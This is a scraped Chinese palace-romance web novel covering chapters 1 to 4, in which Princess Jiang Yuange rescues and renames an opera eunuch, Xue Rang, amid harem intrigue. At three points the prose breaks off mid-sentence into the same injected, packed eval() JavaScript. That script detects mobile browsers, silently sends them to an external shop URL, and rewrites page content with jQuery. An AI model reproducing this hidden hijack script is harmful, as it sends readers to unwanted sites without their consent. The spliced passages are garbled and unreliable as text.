《公主与督主》 1. 第一章 燕京初冬,大雪。 雪花纷纷扬扬如铺盖,盖在明黄的琉璃瓦,堆在深红的宫墙边。穿着袄子的宫人弯腰扫雪,不时竖耳偷听前头钟鼓司的动静。 “啧,好个没规矩的戏子!竟敢拿些市井晦物迷惑小皇子!小皇子是何等身份?那可是天横贵胄!你这劈材瓣儿倒是会钻营,想要攀高枝儿了,若是带坏小皇子,连你祖宗一并磨成灰都不够!”钟鼓司的佥书太监秦公公用竹鞭抽打地上的人,又啐了一口。 紧接着,他环顾院里其余太监宫女,抬高嗓门:“甭打量着你们那些个歪心思咱家不知道!谁敢再揣着奸心往主子跟儿前凑,他就是你们的下场!仔细你们的皮!” 地上之人的身体被抽打着,血迹渗出,却像个哑巴似的不出声,若是忽略他微薄的呼吸,便跟死了没有差别。 周围站着的宫人不敢吱声,更不敢与院子中央的嬷嬷对视。 他们虽同情,但中间有的人也是陪八皇子玩闹过的,此刻正在心里念叨阿弥陀佛,祈求只打死一个就好,千万不要抓到自己身上。 那位嬷嬷面容富态,身着妆花缎比甲,兔毛镶边,手里拿着一对皮影,目光淡淡扫过秦公公。她是宜妃宫里的掌事嬷嬷,又是八皇子的乳母,地位自然不一般。 八皇子年纪尚小,本就贪玩,平日里时常跑来钟鼓司看戏曲杂耍,难免有宫人趁此机会接近八皇子,用宫里见不到的新鲜小玩意儿哄他玩。 今晨八皇子在文华殿听讲时从桌案里掉出来两个皮影,被翰林院学士瞧见,斥责了几句。 他母妃宜妃知晓此事后颇为恼火,派身边的嬷嬷前来,揪出了蛊惑小皇子玩乐的罪魁祸首,是钟鼓司戏班子里的一个小太监。秦公公很识相,作势要当众打死这小太监,杀鸡儆猴。 “刘嬷嬷放心,咱家定好好管教这班奴才,再不出这等事!”秦公公对刘嬷嬷赔着笑,笑容加深了脸上的褶皱,又凑近塞给嬷嬷几两银子。 “嬷嬷深得娘娘信任,劳烦您替咱家在宜妃娘娘面前说句好话,咱家治下不严的确有错,但咱家的心是一片赤诚啊!愿娘娘宽恕则个,咱家今日就打死这混账东西。” 石砖上的积雪因为人的体温化开,夹杂血水,白色水袖变得粘腻脏污。 那戏子一动不动躺着,闺门旦的扮相,粉霜胭脂丹凤眼,水钻头面绣花帔。 刘嬷嬷将皮影扔在红色的雪水中,腾出手将银子收入袖中,语气变得柔和:“秦公公不必惶恐,你的忠心,娘娘是知道的。” “那便好!那便好……”秦公公笑道,揪起的心放缓,手下竹鞭则是加快了速度。 一时间只听得鞭子擦过空气的哗哗声,以及刺入皮肉的闷响。秦公公急于表忠心,竟忽略了身后的仪仗,直到一声尖细的通报传来。 “长庆公主到——” 秦公公的心再次提起,宜妃宫里的人还没送走,又来了个更难应付的。他来不及多想,跟随众人跪下行礼。 “本宫原要去南池子垂钓,碰巧经过此处,竟这样热闹。”一道清丽的声音自步辇轻飘飘落下,缀着东珠的绣鞋在半空中无聊地晃了晃。 “回禀殿下,奴才正在处罚僭越的宫人,污了殿下的眼,奴才有罪。”秦公公额头贴在地面,很是谦卑。 公主没说话,也没叫他们起来。只是从步辇上走下来,施施然穿过跪倒的一片,停在了那戏子面前,转了一圈,好奇地打量他,如同看戏一般。 “他死了吗?”公主问道。 秦公公忙膝行至公主身旁,对着瘫倒的戏子就是一巴掌:“公主亲临,还不快起来!” 雪落在戏子发间,很快便融化,他秾丽的眼虚虚睁开一条缝,连带着墨黑狭长的眉毛也是一动,添了点生气。 他似乎尝试着挪动身子,却因疼痛而失败了,晶莹的点翠头面也歪斜着,明明是上扬的眼妆与眉粉,此时却一副低眉顺眼的样子,瞧着十分可怜。 “小禄子……参见公主。”他吐出一口气。声音带着少年人特有的清脆高亮,怪不得被选作了旦角。 “你扮的是谁?”公主又问。 “牡丹亭,杜丽娘。” 小禄子穿着素色的戏服,正是演到了杜丽娘死后魂归梅花庵的一幕,白衣衫上绣着墨色枝叶,配上殷殷血点,如同开在肌肤上的梅花,红艳艳的。 雪落在他身上,雌雄莫辨,半死不活,像个货真价实的女鬼。 公主知道了答案,兴致减去大半,一个下等太监的死活的确不值一提。她提裙跨过地上的水袖就要离开,直至发现一个熟人。 “刘嬷嬷怎的在此?”公主眼睛又是一亮。 刘嬷嬷见躲不过,只得回复了事情原委,是刁奴蛊惑小皇子,宜妃娘娘无奈,命人处罚奴才。她将将说完,便对上公主微妙的笑意,刘嬷嬷心道不好。 长庆公主姜元歌向来与宜妃不和,这在宫里并不算秘密。 不仅如此,长庆公主备受陛下宠爱,年纪轻轻就赐下了宫殿独居,养成一副古怪脾性,从小就是个霸王。宜妃即使和惠妃同掌协理六宫之权,也不能将长庆如何。 “先皇后在时宽仁对下,宫中人人感念。如今没过几年,宜妃娘娘就因小事处死宫人,实在有失妥当,怕不是已经忘了先皇后的教诲?”长庆公主笑起来时眼波流转,她的身量不高,下巴微微抬起,透着揭人短处的快乐。 “殿下言重了,娘娘绝无此意。”刘嬷嬷讷讷。 她狠狠腹诽,公主哪里是因为怜惜下人?只是单纯喜欢给宜妃找不痛快罢了。 “都起来吧,这个人本宫带走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481299|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”公主说罢,又指指秦公公的脑袋,“你们钟鼓司不辨是非,该罚。” 其他人起身,秦公公依旧跪着不敢起,额头流下冬日的汗水。 公主欣赏完他的窘态,才不急不缓张了口:“不过本宫今日高兴,便饶了你。” “走了,带着杜丽娘。”公主坐回步辇,吩咐随行的太监。 钟鼓司众人送走了这尊大佛,纷纷松了一口气。方才还同情小禄子的宫人又嫉妒起来,小声道:“还真是让小禄子走了运,不仅没被打死,还能去公主宫里服侍。” “戏子最善钻营取巧,指不定还能哄的公主高兴,往后你我见到他还要拜一拜哩!” “说什么闲话呢?给咱家也听一听。”秦公公没声好气道,眉毛一竖,“皮痒了是吧?滚回去当差!” 与钟鼓司一墙之隔的宫道,云纹宫灯上落了雪,像是戴了顶白色瓜帽。 高个儿太监戴着三山帽,将重伤的小禄子背在肩头,规矩跟在步辇旁:“殿下,咱们接下来……” “不是说了去南池子?”公主抱着手炉,瞥他一眼。 高个儿太监感受到小禄子的体温逐渐流失,踌躇一瞬,还是将嗓子眼里的话咽了下去。 南池子在内宫偏僻一角,周围树木萧瑟,唯有几颗梅花树还活着,花朵也是稀稀拉拉。 池面已结了一层冰,隔着冰面能看见下头游动的鱼儿。 公主兴致勃勃叫人把湖面敲开一个洞,也要效仿前人来个冰鱼之戏。 冰洞打开后,鱼儿果然都朝这里游来,争抢着呼吸新鲜气息。公主坐在岸边,顺势将鱼饵扔进去,喜滋滋等着。 等了半晌,却没有一条鱼上钩。 这令公主殿下十分不虞。冰天雪地里,她没有太多耐心,索性让人拿来网兜放下捞鱼,总算是收获满满。 在诸位宫女宦官的一声声称赞恭迎中,公主殿下大手一挥,给每人都赏了一条。余下的鱼送去尚膳监,命人现在就杀了,做成佳肴。 她玩够了,站在冰洞旁搓搓手,对着手掌哈了口气,这才想起来那险些被打死的小太监,回眸望去。 小太监此时就被放在湖边一株梅花树下,倚靠着树干已然昏迷。 公主想了想,传来太医。 “莫不是冻死了?”公主凑近,目光落在小戏子头顶冰冷的点翠。 再往下是惨白面色,秾艳戏妆,好看的五官依稀可辨,就是太瘦了些。 雪落在他的眼睫,像个用冰雕成的人儿,晶莹剔透,只是没了呼吸。公主刚叹了口气,却见他的鼻翼动了动,冷气将他的面庞罩上一层朦胧的雾。 太医就要将其带回太医院,被公主叫住:“等等。” 她踮起脚,从树上摘下一朵完整的梅花,别在戏子的鬓发旁。 2. 第二章 雪后初霁,咸福宫。 周惠妃育有皇三女姜元歌与皇六子姜越,有协理六宫之权。作为惠妃的生身母亲,王氏受封了诰命,时常进出宫闱。 今日元歌来咸福宫请安,刚跨过门褴,就听到了她这外祖母王氏的哭诉。 “……再清白的官儿也经不住刑部盘查,你弟弟顶多是有些爱财,毕竟他是皇亲嚜,这也算不得什么大事,怎能有那几个言官说的那般严重?如今被逼得去刑部走了一遭,我是日夜忧心不能安眠,生怕出了好歹。”王氏用帕子擦了擦泪。 “你是看着他长大的,最清楚不过,他打小心思就简单,有什么事都惦念着你这姐姐。可恨那帮庸臣!许是瞧不得我们周家兴盛,或是不把你这位娘娘放眼里!弹劾的折子一道接一道,偏要把咱们周家都逼死才罢休!”王氏越说越激愤,“索性我这把老骨头也不要了,莫说诰命,连命也让他们拿去!只要家族安稳,老婆子也值当了。” 这话正戳进惠妃心窝,她握住王氏的手:“母亲别慌,眼下最要紧的还是先让弟弟从刑部出来,容我想想如何跟陛下……” 王氏神情逐渐恢复平静,正等着惠妃将话说完,却被骤然打断,只见一道团花紧簇的身影快步走来。 “三公主吉祥!三公主吉祥!” 架上的红胸绿尾鹦哥一见到元歌,便开始叽叽喳喳叫个不停。 “母妃!”元歌解开貂绒斗篷随手递给宫女,停在罗汉床前屈膝行了一礼,又作惊讶状:“外祖母这是怎么了?” 王氏的泪在脸侧不上不下,心中有些不快。说来也怪,面对六皇子姜越她还能摆出外祖母的谱,偏遇上元歌时总会感到不自在。也不知姜元歌是怎么长大的,半点没有她母妃温吞随和的影子,倒像她父皇多一些,眼神一扫过来,仿佛把什么都看透了似的,又带着点天真的残忍。 不过是个十六岁的孩子,王氏又觉得自己多心了。 惠妃没有察觉到王氏神态的变化,说道:“都察院参了你舅舅,让陛下严惩。” 说到朝政,惠妃身边的大宫女带着几个下人全部屏退至宫外,连鹦哥也被掂了出去。 “前几日我出宫也听闻了小舅舅的事,说是抢走了京郊一家农户的女儿,那民女的爹娘想要敲登闻鼓却被拦下了。”元歌坐在绣墩回忆着,并不在意王氏难看的脸色。 惠妃顿了顿:“……是你二舅舅,都察院弹劾他在京察中受贿。” “原来如此,倒是我误会了。”元歌似笑非笑。 多年前周府里最高的品阶也只是六品,如今二舅舅已是通政使司右通政,官居四品。周府因着周惠妃的缘故升官揽财,在燕京好不风光。 “好孩子,你在陛下面前那样得眼,若是能劝劝陛下,也算帮你母亲分忧了。”王氏连忙说道,身子前倾,殷切看着元歌。 元歌低头拨弄着腰上的宫绦,王氏看不见她的神色,只能看到她头顶的珠钗与脖颈上的盘螭纹刻金璎珞圈。 “太.祖有训,后宫不得干政,外祖母是想让我违背祖训?”元歌抬眸,语气疑惑。 此话一出,便扣下来一顶沉重的帽子,王氏顿时语塞,有些难以置信地回看元歌。 “怎么说话的?还不快给你外祖母赔罪。”惠妃蹙眉,轻斥道。 王氏压下怒气,扯出一个算得上慈爱的笑:“外祖母老了,说话囫囵不清,公主别跟老身计较。只是那毕竟是公主的亲舅舅,也是公主的母族,公主难不成要看着自己的亲舅舅死在刑部?” 元歌没有回她,只是去看惠妃,可母亲眼里只有对母家的担忧。 她向来明白惠妃如此,可还是生出一阵失落,语气激烈起来:“两位舅舅不是强占民田,就是强抢民女,父皇难道没有宽恕过他们吗?京察六年方一次,事关重大,哪个不是噤若寒蝉?哦,除了我那二舅舅,都敢越过吏部和都察院,将手伸进京察里了,还有什么可害怕的?” 周惠妃闻言,气得手指发抖:“本宫早该管束你的性子!仗着你父皇的偏宠,连本宫这个生母也不放在眼里了。” 王氏眼见局势变得难以掌控,不想和元歌对上,只得去安抚周惠妃。 殿内的气氛骤然沉寂下来,元歌依旧看着母亲,而惠妃则偏过头去。 “公主,您吩咐尚膳监做的鱼好了。”贴身宫女在殿外扬声禀报。 元歌站起身:“拿进来吧。” 宫女提着食盒,垂头小步入殿。 “这是儿臣今日在南池子捞的鱼,母妃尝尝。”元歌若无其事地打开食盒,糖醋鲤鱼和鱼羹的香气溢出,仿佛方才的争执都没有发生。 惠妃摆摆手:“拿走罢,本宫无福消受你的东西。” 元歌忽然想笑,可她忍住了。不再多说,福了福身子:“儿臣告退,母妃安康。” 贴身宫女不明所以,公主来之前还兴冲冲的,这才一柱香的功夫,就变成一幅冷淡模样了。只得重新盖上食盒,紧随元歌离去。 绣墩空空如也,檀木衣架搭着一件浅红斗篷。 “公主实在是……”王氏欲言又止。 “本宫对她不好吗?”周惠妃倚在软枕,阖着眼,语气疲倦极了:“为何这孩子全然体会不到本宫的苦心?尤其这两年,愈发没规矩了。” 王氏重重叹了口气,说的直白:“我的儿,幸而你还有个六皇子。听娘一句劝,好生看顾他,多与他说些道理,切莫让他也同你和母家疏远了。” “我晓得。可惜越儿懂事有余,资质上始终欠缺了些,不讨陛下欢喜,如何能叫我安心。”惠妃揉了揉额角。 今日有元歌这一闹,王氏也难以将求情之事继续说下去。她心中烦闷,又给元歌上了几句眼药,没多久也匆匆出宫回府去了。 …… 咸福宫外,元歌打了个嚏喷,抱臂朝自己宫里走去。 “殿下,奴婢回咸福宫把斗篷拿来吧。您若是受凉,娘娘也会担忧的。”宫女有些着急。 “你不必去,她才不在意我冷了热了。”元歌嘴上如是说着,脚下的步子却放慢了。 待穿过两道宫门,身侧有太监快步走过。元歌立刻抬眼看去,是个面生的太监,手中也什么也没有。 太监跪下行礼,元歌抬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481300|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手,收回目光。她从宫墙的阴影处走至中间,阳光将她的影子打在身后,小小的一团。 “本公主身强体健,一场雪而已。”元歌背着手轻哼。 贴身宫女装作没看到她通红的双耳,只问元歌:“殿下,那这鱼怎么办?” “要是带回去给狗吃,被鱼刺卡住就难办了。”元歌想了想,又吩咐道:“你给姜越送去。” “是。” 檐上积雪化开,顺着瓦当的宝相花纹路流下,一滴又一滴,啪嗒摔在地面。 * 几日后,元歌正在含章殿用早膳,宫人来报之前被救下的小太监养好了伤,前来谢恩。 “叫他在外面候着。”元歌慢悠悠抿了一口莲子粥,目光落在窗棂打开的一条缝隙,像是在等待什么。 别人对此或许不解,含章殿的大宫女绿扇则是清楚得很。 这宫里的妃嫔有的养花鸟,有的养狸猫,偏偏他们公主养了一只高大威武的狼青犬。这可是公主的宝贝疙瘩,去避暑行宫时也要带在身边,平日里就放在院子里养着,公主说它能看家护院、分辨忠奸。 若是有生人到访,这只狼青犬便会呲牙咧嘴,发出低吼,甚是唬人,公主喜欢看这种场面。 从前六皇子被这只狗吓得跳到围栏上,抱着立柱不肯下来。公主见一向循规蹈矩的姜越这般反应,先是捧腹笑了半晌,随后才大发慈悲将狗牵走了,为此被惠妃娘娘好一顿训斥。 谁知今日元歌等了好一会儿,早膳都吃完了,外面却依旧安静得很。元歌扔下白玉瓷勺起身,勺子与碗壁相撞,发出一声脆响。 含章殿是陛下赐给长庆公主独住的殿宇,前院开阔,抄手游廊尽头,青色的背影单膝跪在地上,顶着一个黑色小帽,脖颈修长。 明明是最低等太监的打扮,瞧着却有几分清凌凌的气质,正伸手抚摸躺在地上的狗。 至于那只威武凶猛的狼青犬,此时已经翻出了肚皮朝这小太监示好! “香香,给我回来!”元歌大怒。 狼青犬听到熟悉的呼唤,从地上跳起来,颠颠跑到元歌身前,全然不知道自己已被小主人视为叛徒。 不远处的人影闻声回头。褪去鲜艳戏妆,摘下明晃的头面,他只穿着最简陋的圆领衫,五官清晰,眼里含着远山烟雨。背后是汀兰蝴蝶影壁,他也像一株岸边的兰草似的。 元歌忽有种熟悉的感觉,不由一直盯着他瞧,直到对方走到了自己身前。 “奴才叩见公主,殿下救命之恩,无以为报。”兰草在游廊下屈身,三跪九叩之后抬起头,只见公主额前戴着一团白色卧兔儿,攒金璎珞圈,娇俏尊贵。 “原来你不仅逢迎宫里的人,连狗也能讨好。”元歌收起怔愣,刻意冷声道。 “公主说的是。”他并不回避她审视的目光,语气乖觉。 名为香香的狼青犬左看看右嗅嗅,大尾巴摇来摇去,显得十分兴奋。 许多年后,薛让成了权倾朝野、人人畏惧的九千岁,总会想起弘成十四年的冬日。冷晴的天,阳光斜照,公主就站在玉阶上,低头望他。 3. 第三章 晚间,小太监回到钟鼓司后面的直房歇息,宫人们都对他客气许多,明里暗里打听他是否真的得了公主眼缘。 小禄子油盐不进,打着哈哈糊弄了过去。好像只有面对贵人时他才会殷切一些。这种殷切不多不少,算不上谄媚,而是像藤蔓一样悄然、潮湿地缠绕过来,让人无意中便落进圈套。 入宫一年来,他也得了不少贵人赏赐的东西。只是近日水逆,八皇子经常跑来钟鼓司,这错便扣在了他头上,总之不能怪皇子贪玩,都是奴才下贱。 其他宦官说着好话,小禄子有一搭没一搭回着,当他们私下里谈起长庆公主时,小禄子不由多听了几句。 据说长庆公主出生前一晚,当时还是晋王的陛下做了一个梦,梦中有喜鹊登枝。之后元歌满岁抓阄,玩具首饰一概不理,抓住一枚玉印便再不放手,等到父王来了,才啊呀啊呀喊着把玉印丢给了父王。 没多久京中太子被废,先帝病中一旨密诏,将守在藩地多年的晋王急召入京。 半年后,晋王登基。 自此之后陛下格外看重元歌,总认为她带着点天命使然的意味。按照礼制,宫中皇子皇女幼年随生母居住,之后都要搬往东乾五所与西乾五所,直至成婚。而陛下则单独赐予元歌含章殿,允她独居一宫。 长庆公主姜元歌茁壮肆意地长大,金尊玉贵,也象征着弘成一朝的锦绣繁华,连绵不绝。 夜深,小太监也做了个梦,他梦见一只圆滚滚的狸猫立在墙头,姿态高傲,歪着头看他,竖瞳浅浅。 * 元歌的眸子最中间是一点黑,边缘扩散出淡淡的茶褐色,琥珀似的。在妆镜前懒散坐着,随意瞥过来。 “殿下,唱戏的装扮都是些三教九流用的,您身份尊贵,化这戏妆恐怕不好。”绿扇委婉劝道。 昨儿个公主偷偷看了西厢记的戏本,崔莺莺与张生历经磨难,为情私奔。公主唏嘘不已,最后眼都睁不开了,还抓着她的手臂不放,呢喃着: “好绿扇,你若有了心上人,我不会阻你,你……你别私奔。” 这一夜公主统供才睡两个时辰,天一亮便起来了,非要试试戏子的俊扮。绿扇这才开口劝说。 元歌充耳不闻,催促伫立在一旁的小禄子:“愣着做什么?” 绿扇原以为小禄子会诚惶诚恐,没成想他弯下身,直直看着公主的面容,手中托着一盒细白的蛤粉,声音清凌凌:“奴才斗胆问,公主想要什么样式的妆容?” 温婉的,素净的,抑或飒爽的。 这小太监的眼睛倒黑得很,深不见底。元歌向来不拘小节,没有责怪他不懂规矩,只说:“你成日唱念做打,对此熟稔,就依着你想的来画。” “画的好,自然有赏。”元歌挑眉,望着镜中的自己。 画不好,就把他再打个半死。 不过她不会打他的脸,也会给他叫太医,总不至于让他真死了。姜元歌自认是个仁慈的主子。 小禄子听得出公主言外之意,他似是扯了扯嘴角,随后将瓷盏中的清水倒入粉盒,细细搅拌着。之后,绿扇将这湿润的粉膏均匀涂抹在元歌面庞。 元歌闭着眼,心中忍不住期待起来。 再一睁眼,只看见镜子里脸色煞白的自己,妖怪一样。 “大胆奴才,安敢戏弄本宫!”元歌怒道,即刻就要洗掉。 小禄子却笑了笑:“殿下不要心急,还有红彩和眉粉未上。” 他话语柔和,手腕转动,调好了戏子所用的红彩。 元歌半信半疑,心想若是他扯谎,一定要打死他。啊,她的确是宫里难得的好主子,只是再好脾气的主子也不能被一个戏子哄骗呀。 元歌用指尖点了点红彩,在妆案画了一只绯色的兔子。 绿扇看到这低等宦官离殿下这样近,后槽牙都要咬碎了。她伸出手就要接过红彩,万不能让这小奴才碰到公主。 可恨这小太监手里的红彩刚转到她面前,又收了回去,语气无奈又做作:“红彩的颜色各异,用量和画法也不同,绿扇姑姑第一回兴许画不好。” 绿扇眼睛冒火:“难不成让你给殿下涂上?” “奴才不敢欺瞒公主。”小禄子低眉顺眼地说。 元歌扔给他一张帕子:“用这个,动作麻利些。” “是。”小禄子双手接过。 他将帕子叠出一个圆润的角,蘸取颜料,细密地点在元歌的眉眼、脸颊。镜子被小太监挡住,元歌只能看见自己惨白的半张脸。 很快,她便看到涂了颜色的自己。五官鲜艳地扬起,漂亮的地方均被突显了出来,浓烈地撞进铜镜。元歌在心中小小地惊叹了一下,面上不动声色。 小太监用黛粉描摹着元歌的眉,像是在为工笔画勾勒轮廓。他问绿扇是否有珍珠粉,绿扇则拿来一盒金粉。 在她看来,只有金粉才配得上公主。 白日,殿内没有点灯。阳光穿过窗子上镶嵌的云母贝,云母贝流光溢彩,洒在殿中便成了朦胧的光晕,虚虚落在元歌身上,眼尾金粉闪烁。 铜镜反射阳光,镜中人穿着淡紫底子的浣花锦交领小袄,下面是象牙白的马面裙,腰系香囊,光彩夺目。背后是暗色的紫檀木立柜,当中摆着一只汉白玉雕花马。 公主举手投足,将殿堂也照得辉煌起来。她玩得高兴,扮作勇敢无畏的崔莺莺。 “当日个月明才上柳梢头,却早人约黄昏后。张生呵,怎叫你无人处把妾身作诵……”元歌走到院中,随意哼唱着戏词。* 她虽名为歌,但这曲子从她嘴中唱出实在没了调子。偏绿扇和大太监林德海一副欣慰的目光,在两旁心甘情愿当捧哏。一时间,含章殿又热闹了起来。 小禄子敛起眉目,站在阴影处。 公主对这禁书颇为真情实感,她也许不知道,西厢记源于两朝之前的莺莺传,将始乱终弃改成了一段佳话。小禄子不记得什么真情,只记得莺莺传里,张生最终抛弃崔莺莺,另娶她人。 要他说这般结局才正合适,贫苦书生引诱高门女子,难不成出自所谓的真心? 人道是婊子无情,戏子无义。小禄子看了看自己,深以为然。 公主看着他,问道:“小太监,本宫唱得好吗?” “殿下想听真话还是假话?”小禄子卖了关子。 “哦?那便说说假话。”元歌觉得有趣。 “好听。” 公主冷笑:“跪下。” 小禄子依言跪在冰冷的青石板上。 待公主走回正殿,林德海的干儿子林福悄悄跑来,恨铁不成钢地说:“瞧瞧你说的是什么狗屁话?公主原本要赏你,好嘛,你自己要找死,谁也救不得你!” “谢福公公教训。”小禄子应着,脊背挺直,侧影清癯。 不愧是唱戏的,惯会拿腔作势,连跪着都跟旁的奴才不一样,像个公子哥儿。林福腹诽。 到了午膳的时辰,各式各样的菜肴送入偏殿花厅。单看其中一小碗素面的配菜就有十几种,鱼肚丝、烧鹿筋、熏鸡丝、鲜笋丁等皆用小白盏盛着,全看公主喜欢什么口味的浇头。 日头开始往西滑,林福觑着公主脸色,小心翼翼提起跪在外头的人。元歌吃饱喝足,懒散地倚在偏殿的贵妃榻,开口让小禄子进来。 偏殿内暖意融融,花架上君子兰开得正好,与外面的寒天全然两个世界。炭火徐徐燃着,没有一丝烟雾,是产自甘州的瑞炭,陕西布政使司今年特意送进宫里来的。 元歌从前用惯了洛阳炭,今年本不想换。但这瑞炭做的确实新奇,形状是规整的长条,颜色发青,一条可以燃烧好几日。 小禄子一瘸一拐走进来,脸上看不出半分怨怼。他正要再次跪下,元歌抬了抬手。 起先她的确有些生气,这奴才的命是她给的,却敢当众戳她短处,实在该死。 元歌身边打小就不缺逢迎之辈,什么样的好话没听过,流水的礼品也不稀得。幼年时,所有的游戏她都是赢家,元歌当真以为自己天赋异禀。 后来元歌发现这些人都在骗她,连骰子都被做了手脚。看到她洋洋得意,这些人是否以为她愚钝狂妄,可以轻易糊弄? 世事往往矛盾,上位者总希望下面的人顺从,又厌恶受人欺骗。真话说多了会死,假话说的多了也一样。 元歌抬眼看小太监,上一刻就要将他扔去宫正司,此刻又决定饶他一命。 “小禄子,你的戏妆画得很好,想要什么赏赐?”元歌坐起身子。 她的确喜欢这个新奇装扮,是以现在也未卸掉,时不时就要照照铜镜,拈起团扇做个样儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481301|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小禄子说道:“回殿下,奴才小时被父母卖给戏班子时就没有名字。后来入宫,钟鼓司秦公公就给了一个小禄子当名字。奴才原也觉着顺嘴,直到见了公主殿内的宫人皆有名有姓,也想沾沾光,求公主赐个名。” 这太监说着求人的话,却也不显得阴柔,清秀而恭顺,说起自己的经历也像在讲故事。 “今年几岁了?”元歌踩着一双登云履起身,没答应起名字的事,目光在小太监的身量上逡巡了一圈:“倒是比本宫高两寸。” “回殿下,今年十八。”小禄子躬身回答。 元歌嗯了一声,随手从博古架拿下来一本道德经,放在用膳的八仙桌上,示意小太监:“把书翻开。” 小禄子也没犹豫,跛着腿走过来,翻开了一页。 “好了,第一个字就是你的名字。”元歌省事得很,这就给人起完了名字。 “奴才不识字。”小禄子偏头看她,“殿下,这个字念什么?” 元歌妆容浓重,小太监的脸庞干净,眼睛黑白分明,手背碰了碰书页边角,又收回来。 “不识字如何唱戏?”元歌好奇地问,瞥了一眼条案,“小太监,这是争抢的争。” “跟着戏班子多唱几遍,记住戏词怎样读就行了。”小禄子盯着那个字,像是在熟悉它的形状长相,神情认真。 元歌将书拿起,翻到前面一页:“水善利万物而不争,说的是谦逊包容,你倒是会挑,正巧挑到一个争字。好罢,这句话还是不错的,让本公主想一想,嗯……还记得你的姓氏么?” “回殿下,应当是薛。”小禄子回忆着那位仁兄的姓,好像是叫薛六。 元歌思索片刻,用指尖蘸了茶水,在桌案上写下一个字: 让。 “薛让,薛仁贵的薛,礼让的让。记住了吗?”公主掩嘴打了个哈欠,转身朝寝殿走去,开口唤人:“绿扇,本宫困了。” 绿扇忙叫人将温水端来,预备着服侍公主净面。 “奴才谢殿下赐名。”小禄子朝元歌的背影跪下,双手伏在地面,只看得到裙边飘摇。 他唱过薛仁贵衣锦还乡,将军骑着高头大马,今日才知和这姓氏是一个字。既然如此,姓薛也不错。 花厅只余他一人,小禄子扶着桌角起身,瞧着快要褪去的水痕,用手指描了几遍。 他自己的姓氏已然忘了,姓王或是白,也有可能是宋。反正肯定比小禄子好听,他不喜欢小禄子这个叫法。 至于薛六,刚进宫时和他同住一屋。是个可怜的,被生父卖进宫里当太监,净完身当晚就没撑过去,死了。 这批新太监才入宫一日,没人认识薛六这小喽啰一般的人,就连负责给太监净身的刀匠每日也要见许多太监,大概只记得给他塞过钱的脸。 那一夜,他便换了薛六的衣衫,又将自己的粗布衣裳套在薛六的尸身上,只当那个所谓的自己因急症猝死。 现在,他叫薛让了。 另一头的寝殿。 掐丝花卉面盆盛满温热的水,元歌才将手浸入,便听得外头狼犬的吠声。 又是哪个贵客到访? 眼见公主神情变得烦躁,绿扇前去查看。 “绿扇姑姑,是六皇子来了。”林福在殿门外对绿扇道,绿扇又把这话传给元歌。 也不知那狼青犬怎么想的,许是随了主子的兴致,每回见姜越都要吓他一吓,并不会真的上去咬。 寻常姜越白日都在文华殿学习课业,这个点不会来找她。元歌压下困意,走出寝殿,呵斥住了香香。 威武的香香朝元歌摇摇尾巴,趾高气昂放过了大红圆领袍的小少年。 姜越如遇救星:“皇姐!” 他急匆匆绕过狼犬,连平时的四方步也顾不得了。 待看清元歌脸上奇特的妆容,姜越又是一惊:“皇姐缘何弄成这幅模样?” “小越儿,少管闲事。”元歌捏了捏他脸颊上的肉,“今日休沐吗?” 姜越想起正事,顿时变成热锅上的蚂蚁,说道:“母妃今日为舅舅求情,父皇生了气,说要将母妃禁足!皇姐,这可怎么办啊?” “父皇生起气来,我害怕,就没敢进去。”他一双圆眼睛满是茫然,将希望都寄托在元歌身上,“皇姐……” 4. 第四章 陛下曾戏言,元歌和姜越换一换正合适,元歌是该当个皇子的。 姜越在咸福宫外深吸一口气,皇姐说她新学了一出戏,今日专门扮成花旦,想唱给父皇听,让儿臣来请、请父皇移步含章殿……皇姐新学了一出戏,今日专门…… 他在脑子里默念了几遍,这才走进中堂,行礼请安。 他看到母妃跪在地上的背影,瓷盏的碎片散落在旁,年老的掌事嬷嬷趴伏在地面动也不敢动。 姜越心中发怵,低着头将皇姐教他的话说了出来,一个字也没有磕巴。 空气安静了一瞬,随后从上首的太师椅传来皇帝的低笑。 “元歌有心了,朕自是要去瞧瞧。” 有了元歌这一出,皇帝没有继续向惠妃问罪,理了理常服走下来。 感受到父皇的脚步略有停留,目光落在自己后脑,姜越不由屏住气息。 终于,明黄下摆从姜越面前离开,膝襕上的海水江崖纹随着步子波涛汹涌。郑嬷嬷扶着惠妃站起,依礼将陛下送至殿外。 冰冷的龙脑香气息消散,咸福宫的暖意缓缓浮上来。姜越又能呼吸了。 紧接着,殿外传来求饶和抽泣声,一个太监被带去了宫正司。 郑嬷嬷回来之后同姜越说起原委。皇帝经过檐下时,瞥见前几日命人送来的翠竹盆景已然枯萎,眉头微皱了一下。 